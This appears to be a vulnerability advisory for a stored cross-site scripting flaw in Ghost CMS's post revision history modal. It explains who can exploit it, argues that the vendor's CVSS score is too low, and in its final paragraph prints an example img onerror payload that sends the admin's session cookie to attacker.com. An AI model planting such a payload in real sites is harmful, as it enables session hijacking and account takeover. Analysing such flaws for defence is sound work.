Ghost CMS EUVD-2026-53391

The attacker must hold at least a staff-level authenticated account in the target Ghost installation (Author, Editor, or equivalent role with post-creation capability). The victim must be another authenticated Ghost Admin user (staff or administrator) who opens the post revision/history modal for the attacker's crafted post - this is the UI:R requirement. The XSS payload is specifically triggered in the feature image caption rendering path of the post history modal (modal-post-history.js) and the frontend proxy's SafeString rendering of feature_image_caption. Exploitation is limited to Ghost Admin's internal staff interface; it does not affect public-facing Ghost site visitors. No special server configuration is required beyond a multi-user Ghost installation where staff roles are granted to users of differing trust levels.

The vendor-assigned CVSS 4.3 (Medium) with vector AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L is conservative and potentially misleading on two counts. First, PR:H implies the attacker needs high privilege, but the description specifies 'any staff user' - in Ghost's role hierarchy, staff roles (Author, Editor) sit below Administrator, so PR:L is more accurate. Second, a successful session hijack grants the attacker full control of the victim's Ghost Admin session including administrator access, which maps to C:H/I:H rather than C:L/I:L. No EPSS score was provided in the input data, and KEV status is not confirmed. No public exploit code has been identified. Real-world risk is bounded by the requirement that: (1) the attacker holds at least a staff-level Ghost account, and (2) a victim staff/admin user must actively open the post revision history modal. For organizations running Ghost with multiple staff users of varying privilege levels - especially in self-hosted or Docker-based deployments - this represents a meaningful lateral/vertical escalation vector despite the low base score.

An attacker with a Ghost staff (Author or Editor) account crafts a post and sets the feature image caption to a JavaScript payload such as <img src=x onerror='document.location="https://attacker.com/steal?c="+document.cookie'>. When a higher-privileged staff user or administrator opens the post revision history modal in Ghost Admin, the unsanitized caption executes in their browser, exfiltrating the session cookie or performing actions as the victim. No public proof-of-concept exploit has been identified at time of analysis.